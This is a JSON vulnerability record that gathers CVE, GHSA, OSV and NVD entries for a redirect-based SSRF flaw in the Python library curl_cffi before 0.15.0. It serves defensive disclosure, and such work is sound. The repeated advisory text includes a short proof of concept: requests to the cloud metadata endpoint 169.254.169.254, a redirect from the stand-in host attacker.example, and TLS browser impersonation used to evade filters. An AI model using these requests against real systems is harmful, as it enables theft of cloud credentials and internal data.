{"id":"CVE-2026-33752","aliases":["EUVD-2026-19293","GHSA-qw2m-4pqf-rmpp","PYSEC-2026-2431"],"status":"published","title":"Redirect-based SSRF leading to internal network access in curl_cffi (with TLS impersonation bypass)","description":"curl_cffi is the a Python binding for curl. Prior to 0.15.0, curl_cffi does not restrict requests to internal IP ranges, and follows redirects automatically via the underlying libcurl. Because of this, an attacker-controlled URL can redirect requests to internal services such as cloud metadata endpoints. In addition, curl_cffi’s TLS impersonation feature can make these requests appear as legitimate browser traffic, which may bypass certain network controls. This vulnerability is fixed in 0.15.0.","severity":{"version":"3.1","score":8.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-09","score":0.00481,"percentile":0.41755,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":true,"fix_available":true},"cwes":["CWE-918"],"published":"2026-04-03T21:36:44Z","modified":"2026-10-28T02:30:28Z","exploits":[{"source":"pocgithub","id":"redyank/CVE-2026-33752","title":"redyank/CVE-2026-33752","date":"2026-04-03","url":"https://github.com/redyank/CVE-2026-33752"}],"fixes":[{"ecosystem":"PyPI","package":"curl-cffi","fixed_in":["0.15.0"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"PyPI","package":"curl-cffi","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.15.0"}]}]},{"source":"osv","ecosystem":"PyPI","package":"curl-cffi","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.15.0"}]}],"versions":["0.1.5","0.10.0","0.10.0b1","0.10.0b2","0.11.0","0.11.0b1","0.11.0b2","0.11.1","0.11.2","0.11.3","0.11.4","0.12.0","0.12.0b1","0.12.1b1","0.12.1b2","0.13.0","0.13.0b1","0.14.0","0.14.0b1","0.14.0b2","0.14.0b3","0.14.0b4","0.14.0b5","0.15.0b1","0.15.0b2","0.15.0b3","0.15.0b4","0.15.0b5","0.15.0b6","0.15.0rc1","0.2.0","0.2.1","0.2.4","0.2.5","0.3.0","0.3.1","0.3.2","0.3.7","0.3.8","0.4.0","0.5.0","0.5.1","0.5.10","0.5.10b1","0.5.10b2","0.5.10b3","0.5.10b4","0.5.10b5","0.5.2","0.5.3","0.5.4","0.5.5","0.5.6","0.5.7","0.5.9","0.5.9b1","0.5.9b2","0.5.9b3","0.5.9b4","0.5.9b5","0.5.9b6","0.6.0","0.6.0b2","0.6.0b4","0.6.0b7","0.6.0b9","0.6.1","0.6.2","0.6.3","0.6.3b1","0.6.4","0.7.0","0.7.0b4","0.7.0b6","0.7.0b7","0.7.1","0.7.2","0.7.3","0.7.3b1","0.7.4","0.8.0b1","0.8.0b3","0.8.0b6","0.8.0b7","0.8.1b8","0.8.1b9","0.9.0","0.9.0b1","0.9.0b2"]},{"source":"osv","ecosystem":"PyPI","package":"curl-cffi","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.15.0"}]}],"versions":["0.1.5","0.10.0","0.10.0b1","0.10.0b2","0.11.0","0.11.0b1","0.11.0b2","0.11.1","0.11.2","0.11.3","0.11.4","0.12.0","0.12.0b1","0.12.1b1","0.12.1b2","0.13.0","0.13.0b1","0.14.0","0.14.0b1","0.14.0b2","0.14.0b3","0.14.0b4","0.14.0b5","0.15.0b1","0.15.0b2","0.15.0b3","0.15.0b4","0.15.0b5","0.15.0b6","0.15.0rc1","0.2.0","0.2.1","0.2.4","0.2.5","0.3.0","0.3.1","0.3.2","0.3.7","0.3.8","0.4.0","0.5.0","0.5.1","0.5.10","0.5.10b1","0.5.10b2","0.5.10b3","0.5.10b4","0.5.10b5","0.5.2","0.5.3","0.5.4","0.5.5","0.5.6","0.5.7","0.5.9","0.5.9b1","0.5.9b2","0.5.9b3","0.5.9b4","0.5.9b5","0.5.9b6","0.6.0","0.6.0b2","0.6.0b4","0.6.0b7","0.6.0b9","0.6.1","0.6.2","0.6.3","0.6.3b1","0.6.4","0.7.0","0.7.0b4","0.7.0b6","0.7.0b7","0.7.1","0.7.2","0.7.3","0.7.3b1","0.7.4","0.8.0b1","0.8.0b3","0.8.0b6","0.8.0b7","0.8.1b8","0.8.1b9","0.9.0","0.9.0b1","0.9.0b2"]}],"products":[{"vendor":"lexiforest","product":"curl_cffi"}],"references":[{"url":"https://github.com/lexiforest/curl_cffi/security/advisories/GHSA-qw2m-4pqf-rmpp","tags":["x_refsource_CONFIRM","exploit","Exploit","Vendor Advisory","advisory","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33752","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-qw2m-4pqf-rmpp","tags":["advisory"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/33xxx/CVE-2026-33752.json","tags":["advisory"]},{"url":"https://github.com/lexiforest/curl_cffi","tags":["package"]},{"url":"https://pypi.org/project/curl-cffi","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-33752","title":"Redirect-based SSRF leading to internal network access in curl_cffi (with TLS impersonation bypass)","description":"curl_cffi is the a Python binding for curl. Prior to 0.15.0, curl_cffi does not restrict requests to internal IP ranges, and follows redirects automatically via the underlying libcurl. Because of this, an attacker-controlled URL can redirect requests to internal services such as cloud metadata endpoints. In addition, curl_cffi’s TLS impersonation feature can make these requests appear as legitimate browser traffic, which may bypass certain network controls. This vulnerability is fixed in 0.15.0.","status":"published","published":"2026-04-06T15:01:44.844Z","modified":"2026-04-06T15:40:54.38Z","cvss":[{"version":"3.1","score":8.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N","level":"high","assessor":"cna"}],"cwes":["CWE-918"],"updated_at":"2026-11-02T14:20:07.609948Z"}],"euvd":[{"id":"EUVD-2026-19293","description":"curl_cffi is the a Python binding for curl. Prior to 0.15.0, curl_cffi does not restrict requests to internal IP ranges, and follows redirects automatically via the underlying libcurl. Because of this, an attacker-controlled URL can redirect requests to internal services such as cloud metadata endpoints. In addition, curl_cffi’s TLS impersonation feature can make these requests appear as legitimate browser traffic, which may bypass certain network controls. This vulnerability is fixed in 0.15.0.","status":"published","published":"2026-04-06T15:01:44Z","modified":"2026-04-06T15:40:54Z","cvss":[{"version":"3.1","score":8.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N","level":"high"}],"updated_at":"2026-11-02T19:25:15.794407Z"}],"ghsa":[{"id":"GHSA-qw2m-4pqf-rmpp","title":"curl_cffi: Redirect-based SSRF leads to internal network access in curl_cffi (with TLS impersonation bypass)","description":"### Summary\ncurl_cffi does not restrict requests to internal IP ranges, and follows redirects automatically via the underlying libcurl.\n\nBecause of this, an attacker-controlled URL can redirect requests to internal services such as cloud metadata endpoints. In addition, curl_cffi’s TLS impersonation feature can make these requests appear as legitimate browser traffic, which may bypass certain network controls.\n\n### Details\nThe issue comes from how curl_cffi handles outbound requests\n- User-supplied URLs are passed directly to libcurl without checking whether they resolve to internal IP ranges (e.g., 127.0.0.1, 169.254.0.0/16).\n- Redirects are automatically followed (CURLOPT_FOLLOWLOCATION = 1) inside libcurl.\n- There is no validation of redirect destinations at the Python layer.\n\nThis means that even if an application only allows requests to external URLs, an attacker can\n- Provide a URL pointing to an attacker-controlled server\n- Return a redirect response pointing to an internal service\n- Have curl_cffi follow that redirect automatically\n\nAs a result, internal endpoints (such as cloud instance metadata APIs) can be accessed.\n\nAdditionally, curl_cffi supports TLS fingerprint impersonation (e.g., impersonate=\"chrome\"). In environments where outbound requests are filtered based on TLS fingerprinting, this can make such requests harder to detect or block\n\nThis behavior is similar to previously reported redirect-based SSRF issues such as CVE-2025-68616, where redirects allowed access to unintended internal resources.\n\n### PoC\n1. Direct internal request\n```\nimport curl_cffi\nresp = curl_cffi.get(\"http://169.254.169.254/latest/meta-data/\")\nprint(resp.text)\n```\n2. Redirect to internal service\nAttacker server:\n```\nGET /test\n→ 302 Location: http://169.254.169.254/latest/meta-data/\n```\nVictim code:\n```\nimport curl_cffi\nresp = curl_cffi.get(\"https://attacker.example/test\")\nprint(resp.text)\n```\nResult\n- Initial request goes to attacker server\n- Redirect is returned\n- libcurl follows the redirect automatically\n- Internal metadata endpoint is accessed\n\n3. With TLS impersonation\n```\nimport curl_cffi\\\nresp = curl_cffi.get(\n    \"https://attacker.example/test\",\n    impersonate=\"chrome\")\n```\nIn some environments, this may help the request bypass TLS-based filtering controls.\n\n\n### Impact\nAn attacker who can control the requested URL may be able to:\n- Access internal network services\n- Reach cloud metadata endpoints and retrieve sensitive information\n- Bypass certain outbound filtering mechanisms (depending on environment)\nThis corresponds to CWE-918 Server-Side Request Forgery.","status":"published","published":"2026-04-03T21:36:44Z","modified":"2026-04-06T23:18:18Z","cvss":[{"version":"3.1","score":8.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N","level":"high"}],"cwes":["CWE-918"],"updated_at":"2026-11-02T14:39:50.076383Z"}],"nvd":[{"id":"CVE-2026-33752","description":"curl_cffi is the a Python binding for curl. Prior to 0.15.0, curl_cffi does not restrict requests to internal IP ranges, and follows redirects automatically via the underlying libcurl. Because of this, an attacker-controlled URL can redirect requests to internal services such as cloud metadata endpoints. In addition, curl_cffi’s TLS impersonation feature can make these requests appear as legitimate browser traffic, which may bypass certain network controls. This vulnerability is fixed in 0.15.0.","status":"published","published":"2026-04-06T16:16:34.14Z","modified":"2026-10-26T21:10:00.17Z","cvss":[{"version":"3.1","score":8.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N","level":"high","assessor":"secondary"}],"cwes":["CWE-918"],"updated_at":"2026-11-02T14:12:13.1424Z"}],"osv":[{"id":"CVE-2026-33752","title":"Redirect-based SSRF leading to internal network access in curl_cffi (with TLS impersonation bypass)","description":"curl_cffi is the a Python binding for curl. Prior to 0.15.0, curl_cffi does not restrict requests to internal IP ranges, and follows redirects automatically via the underlying libcurl. Because of this, an attacker-controlled URL can redirect requests to internal services such as cloud metadata endpoints. In addition, curl_cffi’s TLS impersonation feature can make these requests appear as legitimate browser traffic, which may bypass certain network controls. This vulnerability is fixed in 0.15.0.","status":"published","published":"2026-04-06T15:01:44.844Z","modified":"2026-10-28T02:30:28.846394989Z","cvss":[{"version":"3.1","score":8.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N","level":"high"}],"cwes":["CWE-918"],"updated_at":"2026-11-02T15:45:01.896044Z"},{"id":"GHSA-qw2m-4pqf-rmpp","title":"curl_cffi: Redirect-based SSRF leads to internal network access in curl_cffi (with TLS impersonation bypass)","description":"### Summary\ncurl_cffi does not restrict requests to internal IP ranges, and follows redirects automatically via the underlying libcurl.\n\nBecause of this, an attacker-controlled URL can redirect requests to internal services such as cloud metadata endpoints. In addition, curl_cffi’s TLS impersonation feature can make these requests appear as legitimate browser traffic, which may bypass certain network controls.\n\n### Details\nThe issue comes from how curl_cffi handles outbound requests\n- User-supplied URLs are passed directly to libcurl without checking whether they resolve to internal IP ranges (e.g., 127.0.0.1, 169.254.0.0/16).\n- Redirects are automatically followed (CURLOPT_FOLLOWLOCATION = 1) inside libcurl.\n- There is no validation of redirect destinations at the Python layer.\n\nThis means that even if an application only allows requests to external URLs, an attacker can\n- Provide a URL pointing to an attacker-controlled server\n- Return a redirect response pointing to an internal service\n- Have curl_cffi follow that redirect automatically\n\nAs a result, internal endpoints (such as cloud instance metadata APIs) can be accessed.\n\nAdditionally, curl_cffi supports TLS fingerprint impersonation (e.g., impersonate=\"chrome\"). In environments where outbound requests are filtered based on TLS fingerprinting, this can make such requests harder to detect or block\n\nThis behavior is similar to previously reported redirect-based SSRF issues such as CVE-2025-68616, where redirects allowed access to unintended internal resources.\n\n### PoC\n1. Direct internal request\n```\nimport curl_cffi\nresp = curl_cffi.get(\"http://169.254.169.254/latest/meta-data/\")\nprint(resp.text)\n```\n2. Redirect to internal service\nAttacker server:\n```\nGET /test\n→ 302 Location: http://169.254.169.254/latest/meta-data/\n```\nVictim code:\n```\nimport curl_cffi\nresp = curl_cffi.get(\"https://attacker.example/test\")\nprint(resp.text)\n```\nResult\n- Initial request goes to attacker server\n- Redirect is returned\n- libcurl follows the redirect automatically\n- Internal metadata endpoint is accessed\n\n3. With TLS impersonation\n```\nimport curl_cffi\\\nresp = curl_cffi.get(\n    \"https://attacker.example/test\",\n    impersonate=\"chrome\")\n```\nIn some environments, this may help the request bypass TLS-based filtering controls.\n\n\n### Impact\nAn attacker who can control the requested URL may be able to:\n- Access internal network services\n- Reach cloud metadata endpoints and retrieve sensitive information\n- Bypass certain outbound filtering mechanisms (depending on environment)\nThis corresponds to CWE-918 Server-Side Request Forgery.","status":"published","published":"2026-04-03T21:36:44Z","modified":"2026-07-13T16:42:36.740782191Z","cvss":[{"version":"3.1","score":8.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N","level":"high"}],"cwes":["CWE-918"],"updated_at":"2026-11-02T15:46:55.122811Z"},{"id":"PYSEC-2026-2431","title":"curl_cffi: Redirect-based SSRF leads to internal network access in curl_cffi (with TLS impersonation bypass)","description":"### Summary\ncurl_cffi does not restrict requests to internal IP ranges, and follows redirects automatically via the underlying libcurl.\n\nBecause of this, an attacker-controlled URL can redirect requests to internal services such as cloud metadata endpoints. In addition, curl_cffi’s TLS impersonation feature can make these requests appear as legitimate browser traffic, which may bypass certain network controls.\n\n### Details\nThe issue comes from how curl_cffi handles outbound requests\n- User-supplied URLs are passed directly to libcurl without checking whether they resolve to internal IP ranges (e.g., 127.0.0.1, 169.254.0.0/16).\n- Redirects are automatically followed (CURLOPT_FOLLOWLOCATION = 1) inside libcurl.\n- There is no validation of redirect destinations at the Python layer.\n\nThis means that even if an application only allows requests to external URLs, an attacker can\n- Provide a URL pointing to an attacker-controlled server\n- Return a redirect response pointing to an internal service\n- Have curl_cffi follow that redirect automatically\n\nAs a result, internal endpoints (such as cloud instance metadata APIs) can be accessed.\n\nAdditionally, curl_cffi supports TLS fingerprint impersonation (e.g., impersonate=\"chrome\"). In environments where outbound requests are filtered based on TLS fingerprinting, this can make such requests harder to detect or block\n\nThis behavior is similar to previously reported redirect-based SSRF issues such as CVE-2025-68616, where redirects allowed access to unintended internal resources.\n\n### PoC\n1. Direct internal request\n```\nimport curl_cffi\nresp = curl_cffi.get(\"http://169.254.169.254/latest/meta-data/\")\nprint(resp.text)\n```\n2. Redirect to internal service\nAttacker server:\n```\nGET /test\n→ 302 Location: http://169.254.169.254/latest/meta-data/\n```\nVictim code:\n```\nimport curl_cffi\nresp = curl_cffi.get(\"https://attacker.example/test\")\nprint(resp.text)\n```\nResult\n- Initial request goes to attacker server\n- Redirect is returned\n- libcurl follows the redirect automatically\n- Internal metadata endpoint is accessed\n\n3. With TLS impersonation\n```\nimport curl_cffi\\\nresp = curl_cffi.get(\n    \"https://attacker.example/test\",\n    impersonate=\"chrome\")\n```\nIn some environments, this may help the request bypass TLS-based filtering controls.\n\n\n### Impact\nAn attacker who can control the requested URL may be able to:\n- Access internal network services\n- Reach cloud metadata endpoints and retrieve sensitive information\n- Bypass certain outbound filtering mechanisms (depending on environment)\nThis corresponds to CWE-918 Server-Side Request Forgery.","status":"published","published":"2026-07-13T14:36:47.243344Z","modified":"2026-07-13T16:32:36.499899524Z","cvss":[{"version":"3.1","score":8.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N","level":"high"}],"updated_at":"2026-11-02T15:52:55.961245Z"}]}}